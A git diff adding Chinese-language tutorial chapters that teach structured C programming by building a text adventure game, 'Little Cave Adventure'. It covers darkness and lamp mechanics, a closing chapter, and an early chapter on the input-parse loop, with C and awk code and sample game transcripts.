+a cave entrance to the east
+dense forest all around
+
+--> get coin
+You pick up a silver coin.
+
+--> give coin to guard
+You give a silver coin to a burly guard.
+
+--> go cave
+You walk into the cave.
+
+You are in a little cave.
+You see:
+an exit to the west
+solid rock all around
+a closed door to the south
+a tiny key
+
+--> get key
+You pick up a tiny key.
+
+--> go south
+The door is closed.
+
+--> open door
+You open a closed door to the south.
+
+--> go south
+You walk through the door into a backroom.
+
+You are in a backroom.
+You see:
+solid rock all around
+an open door to the north
+a wooden box
+
+--> unlock box
+You unlock a wooden box.
+
+--> open box
+You open a wooden box.
+
+--> examine box
+The box is open.
+You see:
+a gold coin
+
+--> get gold from box
+You get a gold coin from a wooden box.
+
+--> inventory
+You have:
+a gold coin
+a tiny key
+
+--> put gold in box
+You put a gold coin in a wooden box.
+
+--> examine box
+The box is open.
+You see:
+a gold coin
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗.md
new file mode 100644
index 0000000..d061695
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗.md
@@ -0,0 +1,1008 @@
+# 15.赋予明暗
+
+在许多冒险中，灯是一个重要的物品。没有它，你就无法穿越前方的黑暗洞穴。
+
+在黑暗中的效果因游戏而异。通常情况下，它使命令 "look "没有效果。在一些游戏中（如 Zork），黑暗是致命的。在其他游戏中，只要你画出了黑暗区域的详细地图，在没有光源的情况下，你仍然可以取得进展。
+
+我们的游戏将保持在这两者之间；在黑暗中不会让你被杀，但你也不能进入任何通道 (具有光亮的通道将是一个例外)。对我们来说，让玩家跑进一个黑暗的区域，而没有不让他机会回到他来的地方，似乎是不公平的。
+
+好吧，所以首先，我们来设计在黑暗中玩家无法看到周围环境。
+
+## location.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+#include "noun.h"
+
+bool executeLookAround(void)
+{
+   if (isLit(player->location))
+   {
+      printf("You are in %s.\n", player->location->description);
+   }
+   else
+   {
+      printf("It is very dark in here.\n");
+   }
+   listObjectsAtLocation(player->location);
+   return true;
+}
+
+bool executeLook(void)
+{
+   OBJECT *obj = getVisible("what you want to look at", params[0]);
+   switch (getDistance(player, obj))
+   {
+   case distHereContained:
+      printf("Hard to see, try to get it first.\n");
+      break;
+   case distOverthere:
+      printf("Too far away, move closer please.\n");
+      break;
+   case distNotHere:
+      printf("You don't see any %s here.\n", params[0]);
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      printf("%s\n", obj->details);
+      listObjectsAtLocation(obj);
+   }
+   return true;
+}
+
+static void movePlayer(OBJECT *passage)
+{
+   printf("%s\n", passage->textGo);
+   if (passage->destination != NULL)
+   {
+      player->location = passage->destination;
+      printf("\n");
+      executeLookAround();
+   }
+}
+
+bool executeGo(void)
+{
+   OBJECT *obj = getVisible("where you want to go", params[0]);
+   switch (getDistance(player, obj))
+   {
+   case distOverthere:
+      movePlayer(getPassage(player->location, obj));
+      break;
+   case distNotHere:
+      printf("You don't see any %s here.\n", params[0]);
+      break;
+   case distUnknownObject:
+      // already handled by getVisible
+      break;
+   default:
+      movePlayer(obj);
+   }
+   return true;
+}
+```
+
+其次，在黑暗中玩家无法看到或使用附近的物体。
+
+## noun.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+
+static bool objectHasTag(OBJECT *obj, const char *noun)
+{
+   if (noun != NULL && *noun != '\0')
+   {
+      const char **tag;
+      for (tag = obj->tags; *tag != NULL; tag++)
+      {
+         if (strcmp(*tag, noun) == 0) return true;
+      }
+   }
+   return false;
+}
+
+static OBJECT ambiguousNoun;
+
+static OBJECT *getObject(const char *noun, OBJECT *from, DISTANCE maxDistance)
+{
+   OBJECT *obj, *res = NULL;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (objectHasTag(obj, noun) && getDistance(from, obj) <= maxDistance)
+      {
+         res = res == NULL ? obj : &ambiguousNoun;
+      }
+   }
+   return res;
+}
+
+OBJECT *getVisible(const char *intention, const char *noun)
+{
+   OBJECT *obj = getObject(noun, player, distOverthere);
+   if (obj == NULL)
+   {
+      if (getObject(noun, player, distNotHere) == NULL)
+      {
+         printf("I don't understand %s.\n", intention);
+      }
+      else if (isLit(player->location))
+      {
+         printf("You don't see any %s here.\n", noun);
+      }
+      else
+      {
+         printf("It's too dark.\n");
+      }
+   }
+   else if (obj == &ambiguousNoun)
+   {
+      printf("Please be specific about which %s you mean.\n", noun);
+      obj = NULL;
+   }
+   return obj;
+}
+
+OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun)
+{
+   OBJECT *obj = NULL;
+   if (from == NULL)
+   {
+      printf("I don't understand who you want to %s.\n", verb);
+   }
+   else if ((obj = getObject(noun, from, distHeldContained)) == NULL)
+   {
+      if (getObject(noun, player, distNotHere) == NULL)
+      {
+         printf("I don't understand what you want to %s.\n", verb);
+      }
+      else if (from == player)
+      {
+         printf("You are not holding any %s.\n", noun);
+      }
+      else
+      {
+         printf("There appears to be no %s you can get from %s.\n",
+                noun, from->description);
+      }
+   }
+   else if (obj == &ambiguousNoun)
+   {
+      printf("Please be specific about which %s you want to %s.\n",
+             noun, verb);
+      obj = NULL;
+   }
+   else if (obj == from)
+   {
+      printf("You should not be doing that to %s.\n", obj->description);
+      obj = NULL;
+   }
+   return obj;
+}
+```
+
+在这两种情况下，我们都使用了一个函数 isLit。它在 misc.c 中被定义（并且使用量增多了）。
+
+## misc.h
+
+```c
+typedef enum {
+   distSelf,
+   distHeld,
+   distHeldContained,
+   distLocation,
+   distHere,
+   distHereContained,
+   distOverthere,
+   distNotHere,
+   distUnknownObject
+} DISTANCE;
+
+extern bool isHolding(OBJECT *container, OBJECT *obj);
+extern bool isLit(OBJECT *location);
+extern OBJECT *getPassage(OBJECT *from, OBJECT *to);
+extern DISTANCE getDistance(OBJECT *from, OBJECT *to);
+extern OBJECT *actorHere(void);
+extern int listObjectsAtLocation(OBJECT *location);
+```
+
+## misc.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+
+bool isHolding(OBJECT *container, OBJECT *obj)
+{
+   return validObject(obj) && obj->location == container;
+}
+
+bool isLit(OBJECT *target)
+//检测光亮
+{
+   OBJECT *obj;
+   if (validObject(target))
+   {
+      if (target->light > 0)
+      {
+         return true;
+      }
+      for (obj = objs; obj < endOfObjs; obj++)
+      {
+         if (validObject(obj) && obj->light > 0 &&
+             (isHolding(target, obj) || isHolding(target, obj->location)))
+         {
+            return true;
+         }
+      }
+   }
+   return false;
+}
+
+static bool isNoticeable(OBJECT *obj)
+{
+   return obj->location == player ||
+          isLit(obj) || isLit(obj->prospect) || isLit(player->location);
+}
+
+OBJECT *getPassage(OBJECT *from, OBJECT *to)
+{
+   if (from != NULL && to != NULL)
+   {
+      OBJECT *obj;
+      for (obj = objs; obj < endOfObjs; obj++)
+      {
+         if (isHolding(from, obj) && obj->prospect == to)
+         {
+            return obj;
+         }
+      }
+   }
+   return NULL;
+}
+
+DISTANCE getDistance(OBJECT *from, OBJECT *to)
+{
+   return to == NULL                               ? distUnknownObject :
+          !validObject(to)                         ? distNotHere :
+          to == from                               ? distSelf :
+          isHolding(from, to)                      ? distHeld :
+          !isNoticeable(to)                        ? distNotHere :
+          isHolding(to, from)                      ? distLocation :
+          isHolding(from->location, to)            ? distHere :
+          isHolding(from, to->location)            ? distHeldContained :
+          isHolding(from->location, to->location)  ? distHereContained :
+          getPassage(from->location, to) != NULL   ? distOverthere :
+                                                     distNotHere;
+}
+
+OBJECT *actorHere(void)
+{
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (isHolding(player->location, obj) && obj != player &&
+          isNoticeable(obj) && obj->health > 0)
+      {
+         return obj;
+      }
+   }
+   return NULL;
+}
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && isHolding(location, obj) && isNoticeable(obj))
+      {
+         if (count++ == 0)
+         {
+            printf("%s:\n", location->contents);
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+}
+```
+
+注意：
+
+- isLit 将被用来检查一个给定的位置是亮还是暗，但是，仅仅检查位置的属性光线是不够的，因为位置可能被一盏灯照亮。
+- isNoticeable 函数相比 isLit 更进一步。它对每个物体都有效，而不仅仅是地点和灯。它还考虑到玩家库存中的物体总是可以被使用，即使是在黑暗中。
+- 第 60 行：附近的物体仍然隐藏在黑暗中，被视为'不在这里'。这自然可以防止游戏泄露玩家不应该知道的物体的信息。
+
+::: warning 🤔 思考题：你还能想到那哪些可以改进的地方吗？
+:::
+
+我们为实现 isLit 函数的功能从而使用了一个新的属性 light。
+
+## object.awk
+
+```awk
+BEGIN {
+   count = 0;
+   obj = "";
+   if (pass == "c2") {
+      print "\nstatic bool alwaysTrue(void) { return true; }";
+      print "\nOBJECT objs[] = {";
+   }
+}
+
+/^- / {
+   outputRecord(",");
+   obj = $2;
+   prop["condition"]   = "alwaysTrue";
+   prop["description"] = "NULL";
+   prop["tags"]        = "";
+   prop["location"]    = "NULL";
+   prop["destination"] = "NULL";
+   prop["prospect"]    = "";
+   prop["details"]     = "\"You see nothing special.\"";
+   prop["contents"]    = "\"You see\"";
+   prop["textGo"]      = "\"You can't get much closer than this.\"";
+   prop["weight"]      = "99";
+   prop["capacity"]    = "0";
+   prop["health"]      = "0";
+   prop["light"]       = "0";
+   prop["open"]        = "cannotBeOpened";
+   prop["close"]       = "cannotBeClosed";
+   prop["lock"]        = "cannotBeLocked";
+   prop["unlock"]      = "cannotBeUnlocked";
+}
+
+obj && /^[ \t]+[a-z]/ {
+   name = $1;
+   $1 = "";
+   if (name in prop) {
+      prop[name] = $0;
+      if (/^[ \t]*\{/) {
+         prop[name] = name count;
+         if (pass == "c1") print "static bool " prop[name] "(void) " $0;
+      }
+   }
+   else if (pass == "c2") {
+      print "#error \"" FILENAME " line " NR ": unknown attribute '" name "'\"";
+   }
+}
+
+!obj && pass == (/^#include/ ? "c1" : "h") {
+   print;
+}
+
+END {
+   outputRecord("\n};");
+   if (pass == "h") {
+      print "\n#define endOfObjs\t(objs + " count ")";
+      print "\n#define validObject(obj)\t" \
+            "((obj) != NULL && (*(obj)->condition)())";
+   }
+}
+
+function outputRecord(separator)
+{
+   if (obj) {
+      if (pass == "h") {
+         print "#define " obj "\t(objs + " count ")";
+      }
+      else if (pass == "c1") {
+         print "static const char *tags" count "[] = {" prop["tags"] ", NULL};";
+      }
+      else if (pass == "c2") {
+         print "\t{\t/* " count " = " obj " */";
+         print "\t\t" prop["condition"] ",";
+         print "\t\t" prop["description"] ",";
+         print "\t\ttags" count ",";
+         print "\t\t" prop["location"] ",";
+         print "\t\t" prop["destination"] ",";
+         print "\t\t" prop[prop["prospect"] ? "prospect" : "destination"] ",";
+         print "\t\t" prop["details"] ",";
+         print "\t\t" prop["contents"] ",";
+         print "\t\t" prop["textGo"] ",";
+         print "\t\t" prop["weight"] ",";
+         print "\t\t" prop["capacity"] ",";
+         print "\t\t" prop["health"] ",";
+         print "\t\t" prop["light"] ",";
+         print "\t\t" prop["open"] ",";
+         print "\t\t" prop["close"] ",";
+         print "\t\t" prop["lock"] ",";
+         print "\t\t" prop["unlock"];
+         print "\t}" separator;
+         delete prop;
+      }
+      count++;
+   }
+}
+```
+
+默认情况下，亮度为零意味着一个物体不发光。在大白天的每一个地点（通常是除了地下的所有地点）都会被赋予一个正 (大于 0) 的光线值。其实是什么值并不重要，只要它不是零就可以了。我们还将添加一盏灯，玩家可以携带它来穿越黑暗区域。
+
+## object.txt
+
+```txt
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "toggle.h"
+
+typedef struct object {
+   bool         (*condition)(void);
+   const char    *description;
+   const char   **tags;
+   struct object *location;
+   struct object *destination;
+   struct object *prospect;
+   const char    *details;
+   const char    *contents;
+   const char    *textGo;
+   int            weight;
+   int            capacity;
+   int            health;
+   int            light;
+   void         (*open)(void);
+   void         (*close)(void);
+   void         (*lock)(void);
+   void         (*unlock)(void);
+} OBJECT;
+
+extern OBJECT objs[];
+
+- field
+     description "an open field"
+     tags        "field"
+     details     "The field is a nice and quiet place under a clear blue sky."
+     capacity    9999
+     light       100
+     //到目前为止，场地是唯一有 "自然 "光线的地方。
+
+- cave
+     description "a little cave"
+     tags        "cave"
+     details     "The cave is just a cold, damp, rocky chamber."
+     capacity    9999
+
+- silver
+     description "a silver coin"
+     tags        "silver", "coin", "silver coin"
+     location    field
+     details     "The coin has an eagle on the obverse."
+     weight      1
+
+- gold
+     description "a gold coin"
+     tags        "gold", "coin", "gold coin"
+     location    openBox
+     details     "The shiny coin seems to be a rare and priceless artefact."
+     weight      1
+
+- guard
+     description "a burly guard"
+     tags        "guard", "burly guard"
+     location    field
+     details     "The guard is a really big fellow."
+     contents    "He has"
+     health      100
+     capacity    20
+
+- player
+     description "yourself"
+     tags        "yourself"
+     location    field
+     details     "You would need a mirror to look at yourself."
+     contents    "You have"
+     health      100
+     capacity    20
+
+- intoCave
+     condition   { return guard->health == 0 || silver->location == guard; }
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     destination cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "You walk into the cave."
+     open        isAlreadyOpen
+
+- intoCaveBlocked
+     condition   { return guard->health > 0 && silver->location != guard; }
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     prospect    cave
+     details     "The entrance is just a narrow opening in a small outcrop."
+     textGo      "The guard stops you from walking into the cave."
+     open        isAlreadyOpen
+
+- exitCave
+     description "an exit to the west"
+     tags        "west", "exit"
+     location    cave
+     destination field
+     details     "Sunlight pours in through an opening in the cave's wall."
+     textGo      "You walk out of the cave."
+     open        isAlreadyOpen
+
+- wallField
+     description "dense forest all around"
+     tags        "west", "north", "south", "forest"
+     location    field
+     details     "The field is surrounded by trees and undergrowth."
+     textGo      "Dense forest is blocking the way."
+
+- wallCave
+     description "solid rock all around"
+     tags        "east", "north", "rock"
+     location    cave
+     details     "Carved in stone is a secret password 'abccb'."
+     textGo      "Solid rock is blocking the way."
+
+- backroom
+     description "a backroom"
+     tags        "backroom"
+     details     "The room is dusty and messy."
+     capacity    9999
+
+- wallBackroom
+     description "solid rock all around"
+     tags        "east", "west", "south", "rock"
+     location    backroom
+     details     "Trendy wallpaper covers the rock walls."
+     textGo      "Solid rock is blocking the way."
+
+- openDoorToBackroom
+     description "an open door to the south"
+     tags        "south", "door", "doorway"
+     destination backroom
+     details     "The door is open."
+     textGo      "You walk through the door into a backroom."
+     open        isAlreadyOpen
+     close       toggleDoorToBackroom
+
+- closedDoorToBackroom
+     description "a closed door to the south"
+     tags        "south", "door", "doorway"
+     location    cave
+     prospect    backroom
+     details     "The door is closed."
+     textGo      "The door is closed."
+     open        toggleDoorToBackroom
+     close       isAlreadyClosed
+
+- openDoorToCave
+     description "an open door to the north"
+     tags        "north", "door", "doorway"
+     destination cave
+     details     "The door is open."
+     textGo      "You walk through the door into the cave."
+     open        isAlreadyOpen
+     close       toggleDoorToCave
+
+- closedDoorToCave
+     description "a closed door to the north"
+     tags        "north", "door", "doorway"
+     location    backroom
+     prospect    cave
+     details     "The door is closed."
+     textGo      "The door is closed."
+     open        toggleDoorToCave
+     close       isAlreadyClosed
+
+- openBox
+     description "a wooden box"
+     tags        "box", "wooden box"
+     details     "The box is open."
+     weight      5
+     capacity    10
+     open        isAlreadyOpen
+     close       toggleBox
+     lock        isStillOpen
+     unlock      isAlreadyOpen
+
+- closedBox
+     description "a wooden box"
+     tags        "box", "wooden box"
+     details     "The box is closed."
+     weight      5
+     open        toggleBox
+     close       isAlreadyClosed
+     lock        toggleBoxLock
+     unlock      isAlreadyUnlocked
+
+- lockedBox
+     description "a wooden box"
+     tags        "box", "wooden box"
+     location    backroom
+     details     "The box is closed."
+     weight      5
+     open        isStillLocked
+     close       isAlreadyClosed
+     lock        isAlreadyLocked
+     unlock      toggleBoxLock
+
+- keyForBox
+     description "a tiny key"
+     tags        "key", "tiny key"
+     location    cave
+     details     "The key is really small and shiny."
+     weight      1
+
+- lampOff
+     description "a lamp"
+     tags        "lamp"
+     location    field
+     details     "The lamp is off."
+     weight      5
+
+- lampOn
+     description "a lamp"
+     tags        "lamp"
+     details     "The lamp is on."
+     weight      5
+     light       100
+```
+
+注意：对于灯，我们实际上有两个对象：打开的灯和关闭的灯，但玩家一次只能看到一个。它们一起作为一个单一的项目。
+
+我们将添加一些命令，我们可以用来打开和关闭灯。
+
+## parsexec.c
+
+```c
+#include <ctype.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "match.h"
+#include "location.h"
+#include "inventory.h"
+#include "inventory2.h"
+#include "openclose.h"
+#include "onoff.h"
+
+typedef struct
+{
+   const char *pattern;
+   bool (*function)(void);
+} COMMAND;
+
+static bool executeQuit(void)
+{
+   return false;
+}
+
+static bool executeNoMatch(void)
+{
+   const char *src = *params;
+   int len;
+   for (len = 0; src[len] != '\0' && !isspace(src[len]); len++);
+   if (len > 0) printf("I don't know how to '%.*s'.\n", len, src);
+   return true;
+}
+
+bool parseAndExecute(const char *input)
+{
+   static const COMMAND commands[] =
+   {
+      { "quit"                , executeQuit       },
+      { "look"                , executeLookAround },
+      { "look around"         , executeLookAround },
+      { "look at A"           , executeLook       },
+      { "look A"              , executeLook       },
+      { "examine A"           , executeLook       },
+      { "go to A"             , executeGo         },
+      { "go A"                , executeGo         },
+      { "get A from B"        , executeGetFrom    },
+      { "get A"               , executeGet        },
+      { "put A in B"          , executePutIn      },
+      { "drop A in B"         , executePutIn      },
+      { "drop A"              , executeDrop       },
+      { "ask A from B"        , executeAskFrom    },
+      { "ask A"               , executeAsk        },
+      { "give A to B"         , executeGiveTo     },
+      { "give A"              , executeGive       },
+      { "inventory"           , executeInventory  },
+      { "open A"              , executeOpen       },
+      { "close A"             , executeClose      },
+      { "lock A"              , executeLock       },
+      { "unlock A"            , executeUnlock     },
+      { "turn on A"           , executeTurnOn     },
+      { "turn off A"          , executeTurnOff    },
+      { "turn A on"           , executeTurnOn     },
+      { "turn A off"          , executeTurnOff    },
+      { "A"                   , executeNoMatch    }
+   };
+   const COMMAND *cmd;
+   for (cmd = commands; !matchCommand(input, cmd->pattern); cmd++);
+   return (*cmd->function)();
+   }
+```
+
+下面是这些命令的实现。
+
+## onoff.h
+
+```c
+extern bool executeTurnOn(void);
+extern bool executeTurnOff(void);
+```
+
+## onoff.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "match.h"
+#include "reach.h"
+#include "toggle.h"
+
+bool executeTurnOn(void)
+{
+   OBJECT *obj = reachableObject("what you want to turn on", params[0]);
+   if (obj != NULL)
+   {
+      if (obj == lampOff)
+      {
+         toggleLamp();
+      }
+      else
+      {
+         printf(obj == lampOn ? "The lamp is already on.\n"
+                              : "You cannot turn that on.\n");
+      }
+   }
+   return true;
+}
+
+bool executeTurnOff(void)
+{
+   OBJECT *obj = reachableObject("what you want to turn off", params[0]);
+   if (obj != NULL)
+   {
+      if (obj == lampOn)
+      {
+         toggleLamp();
+      }
+      else
+      {
+         printf(obj == lampOff ? "The lamp is already off.\n"
+                               : "You cannot turn that off.\n");
+      }
+   }
+   return true;
+}
+```
+
+为了打开和关闭灯，我们将使用我们用来打开和关闭门和盒子的相同技巧（见第 13 章）。
+
+## toggle.h
+
+```c
+extern void cannotBeOpened(void);
+extern void cannotBeClosed(void);
+extern void cannotBeLocked(void);
+extern void cannotBeUnlocked(void);
+
+extern void isAlreadyOpen(void);
+extern void isAlreadyClosed(void);
+extern void isAlreadyLocked(void);
+extern void isAlreadyUnlocked(void);
+
+extern void isStillOpen(void);
+extern void isStillLocked(void);
+
+extern void toggleDoorToBackroom(void);
+extern void toggleDoorToCave(void);
+extern void toggleBox(void);
+extern void toggleBoxLock(void);
+
+extern void toggleLamp(void);
+```
+
+## toggle.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "location.h"
+
+static void swapLocations(const char *verb1, OBJECT *obj1,
+                          const char *verb2, OBJECT *obj2)
+{
+   OBJECT *tmp = obj1->location;
+   OBJECT *obj = tmp != NULL ? obj1 : obj2;
+   const char *verb = tmp != NULL ? verb1 : verb2;
+   obj1->location = obj2->location;
+   obj2->location = tmp;
+   if (verb != NULL) printf("You %s %s.\n", verb, obj->description);
+}
+
+void cannotBeOpened(void)    { printf("That cannot be opened.\n");    }
+void cannotBeClosed(void)    { printf("That cannot be closed.\n");    }
+void cannotBeLocked(void)    { printf("That cannot be locked.\n");    }
+void cannotBeUnlocked(void)  { printf("That cannot be unlocked.\n");  }
+
+void isAlreadyOpen(void)     { printf("That is already open.\n");     }
+void isAlreadyClosed(void)   { printf("That is already closed.\n");   }
+void isAlreadyLocked(void)   { printf("That is already locked.\n");   }
+void isAlreadyUnlocked(void) { printf("That is already unlocked.\n"); }
+
+void isStillOpen(void)       { printf("That is still open.\n");       }
+void isStillLocked(void)     { printf("That is locked.\n");           }
+
+void toggleDoorToBackroom(void)
+{
+   swapLocations(NULL, openDoorToCave, NULL, closedDoorToCave);
+   swapLocations("close", openDoorToBackroom, "open", closedDoorToBackroom);
+}
+
+void toggleDoorToCave(void)
+{
+   swapLocations(NULL, openDoorToBackroom, NULL, closedDoorToBackroom);
+   swapLocations("close", openDoorToCave, "open", closedDoorToCave);
+}
+
+void toggleBox(void)
+{
+   swapLocations("close", openBox, "open", closedBox);
+}
+
+void toggleBoxLock(void)
+{
+   if (keyForBox->location == player)
+   {
+      swapLocations("lock", closedBox, "unlock", lockedBox);
+   }
+   else
+   {
+      printf("You don't have a key.\n");
+   }
+}
+
+void toggleLamp(void)
+{
+   bool oldLit = isLit(player->location);
+   swapLocations("turn off", lampOn, "turn on", lampOff);
+   if (oldLit != isLit(player->location))
+   {
+      printf("\n");
+      executeLookAround();
+   }
+}
+```
+
+注意：当在黑暗区域打开灯光时，我们立即让玩家看一下周围的环境。这与'go'的命令的行为是一致的：当你把目光投向一个地方时，'look'就会自动执行。
+
+你可能注意到我们在这里做了同样的事情，当把灯关掉的时候，很明显，这只会返回 "这里很黑"，但这似乎也是一个相关的观察。
+
+那么，既然我们无论如何都在做 "look around "的工作，64~68 中"if "语句的意义何在？好吧，这可以防止在大白天（即在野外）打开或关闭灯时，或在同一房间内任何其他光源仍在工作时，进行无用的 "环顾"。
+
+最后，我们将在我们生成的地图上标记出黑暗的位置。
+
+## map.awk
+
+```awk
+BEGIN     { print "digraph map {\n\tnode [style=filled]"; }
+/^- /     { outputEdges(); obj = $2; delete a; }
+/^[ \t]/  { a[$1] = $2; }
+END       { outputEdges(); outputNodes(); print "}"; }
+
+function outputEdges()
+{
+   color[obj] = a["light"] ? "white" : "grey";
+   outputEdge(a["location"], a["destination"], "");
+   outputEdge(a["location"], a["prospect"], " [style=dashed]");
+}
+
+function outputEdge(from, to, style)
+{
+   if (to)
+   {
+      nodes[to] = 1;
+      if (from)
+      {
+         nodes[from] = 1;
+         print "\t" from " -> " to style;
+      }
+   }
+}
+
+function outputNodes()
+{
+   for (n in nodes) print "\t" n " [fillcolor=" color[n] "]";
+}
+```
+
+::: warning 🤔 思考题：尝试将上面的伪代码用 C 语言实现其功能
+:::
+
+玩家们，请注意不要把灯关掉，也不要把它丢掉。如果这样做，那么在黑暗中你将永远无法找回它。换言之，你会被困在黑暗之中！幸运的是，下一章将提供一个撤销笨拙行动的方法。
+
+输出样例：Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+a cave entrance to the east
+dense forestall around
+a lamp
+
+--> get lamp
+You pick up a lamp.
+
+--> get coin
+You pick up a silver coin.
+
+--> give coin
+You give a silver coin to a burly guard.
+
+--> go cave
+You walk into the cave.
+
+It is very dark here.
+You see:
+an exit to the west
+
+--> get key
+It's too dark.
+
+--> open door
+It's too dark.
+
+--> go south
+It's too dark.
+
+--> turn lamp on
+You turn on a lamp.
+
+You are in a little cave.
+You see:
+an exit to the west
+solid rock all around
+a closed door to the south
+a tiny key
+
+--> look around
+You are in a little cave.
+You see:
+an exit to the west
+solid rock all around
+a closed door to the south
+a tiny key
+
+--> get key
+You pick up a tiny key.
+
+--> open door
+You open a closed door to the south.
+
+--> go south
+You walk through the door into a backroom.
+
+You are in a backroom.
+You see:
+solid rock all around
+an open door to the north
+a wooden box
+
+--> quit
+
+Bye
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语：你终将自由.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语：你终将自由.md
new file mode 100644
index 0000000..660e468
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语：你终将自由.md
@@ -0,0 +1,15 @@
+# 结语：你终将自由
+
+15 章的内容，你已经实现了一个最基本游戏的最基本功能，不知道你是不是感觉到满满的成就感呢？
+
+但是还是有非常多可以做的可以思考的。
+
+比如说，你可以增加战斗功能，你可以设计自动生成的测试样例，你甚至可以添加联网联机功能，真正构造一个奇幻的世界。
+
+我相信你经过上面的训练，已经初步理解了结构化编程的基本要义，可以走向更广阔罗的世界且游刃有余的自由的处理它了。
+
+希望你可以牢记其中各种设计原则，并且不断精进不断练习。
+
+也许有的同学没有完整的将他刷完，那也没关系，你完全可以在进行一小部分后就进行后面的实验。
+
+不会造成什么太大的影响的，只不过你可能编程能力上会失去一个宝贵的锻炼机会罢了。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知.md
new file mode 100644
index 0000000..8c15503
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知.md
@@ -0,0 +1,153 @@
+# 2.探索未知
+
+::: tip <font size=5>**驾驭项目，而不是被项目驾驭**</font>
+
+你和一个项目的关系会经历 4 个阶段：
+
+1. 被驾驭：你对它一无所知
+2. 一知半解：你对其中的主要模块和功能有了基本的了解
+3. 驾轻就熟：你对整个项目的细节都了如指掌
+4. 为你所用：你可以随心所欲地在项目中添加你认为有用的功能
+
+如果你想要达成第二个阶段，你需要仔细学习不断探索更新的内容，达到第三个阶段的主要手段是独立完成实验内容和独立调试。至于要达到第四个阶段，就要靠你的主观能动性了：代码还有哪里做得不够好？怎么样才算是够好？应该怎么做才能达到这个目标？
+
+你毕业后到了工业界或学术界，就会发现真实的项目也都是这样：
+
+1. 刚接触一个新项目，不知道如何下手
+2. RTFM, RTFSC, 大致明白项目组织结构和基本的工作流程
+3. 运行项目的时候发现有非预期行为 (可能是配置错误或环境错误，可能是和已有项目对接出错，也可能是项目自身的 bug), 然后调试。在调试过程中，对这些模块的理解会逐渐变得清晰。
+4. 哪天需要你在项目中添加一个新功能，你会发现自己其实可以胜任。
+
+这说明了：如果你一遇到 bug 就找大神帮你调试，你失去的机会和能力会比你想象的多得多
+
+:::
+文字冒险游戏的基本交互很简单
+
+1. 玩家输入命令。
+2. 程序 [解析](http://en.wikipedia.org/wiki/Parsing) 并执行命令。
+3. 重复步骤 1 和 2，直到玩家决定退出
+
+那么，当命令很多的时候，如果你将他写在一起，一个文件有五六千行，我相信这样的情况你是不愿意去看的，因此，我们引入了函数的概念。
+
+::: warning 🤔 自行了解函数的概念，同时去了解当我需要引用别的文件的函数时该怎么办？
+
+   了解一下什么是“驼峰原则”，我们为什么要依据它命名函数？
+:::
+下面的代码示例包含三个函数，每个步骤一个函数：
+
+1. 函数*getInput*。
+2. 函数*parseAndExecute*。
+3. 函数*main*，负责重复调用其他两个函数。
+
+## main.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include "parsexec.h"
+//当我需要引用别的文件
+static char input[100] = "look around";
+//定义全局变量
+static bool getInput(void)
+{
+   printf("\n--> ");
+   //你可以将他改成你喜欢的内容
+   return fgets(input, sizeof input, stdin) != NULL;
+   //fgets 用于收集键盘的输入
+}
+
+int main()
+{
+   printf("Welcome to Little Cave Adventure.\n");
+   while (parseAndExecute(input) && getInput());
+   printf("\nBye!\n");
+   return 0;
+}
+```
+
+注意：某些老版本的 C 语言不支持 bool 选项，你将他改为 int 是一样的。
+
+::: warning 🤔 思考题：static 是什么意思？我为什么要用他？
+:::
+
+## **parsexec.h**
+
+```c
+extern bool parseAndExecute(char *input);
+```
+
+::: warning 🤔 思考题：
+extern 是干什么的？.h 文件又在干嘛？
+
+哇，我用了一个指针！input 前面是个指针！！！
+
+指针是啥？[C 指针详解](https://www.runoob.com/w3cnote/c-pointer-detail.html) STFW（虽然都给你了）
+
+在这里用指针是为了传参的时候可以传字符串哦
+:::
+
+## **parsexec.c**
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+
+
+bool parseAndExecute(char *input)
+{
+   char *verb = strtok(input, " \n");
+   char *noun = strtok(NULL, " \n");
+   //strtok 是 string 库下的一个函数
+   if (verb != NULL)
+   {
+      if (strcmp(verb, "quit") == 0)
+      //strcmp 也是
+      {
+         return false;
+      }
+      else if (strcmp(verb, "look") == 0)
+      {
+         printf("It is very dark in here.\n");
+      }
+      else if (strcmp(verb, "go") == 0)
+      {
+         printf("It's too dark to go anywhere.\n");
+      }
+      else
+      {
+         printf("I don't know how to '%s'.\n", verb);
+         //%s是 verb 附加参数的占位符
+      }
+   }
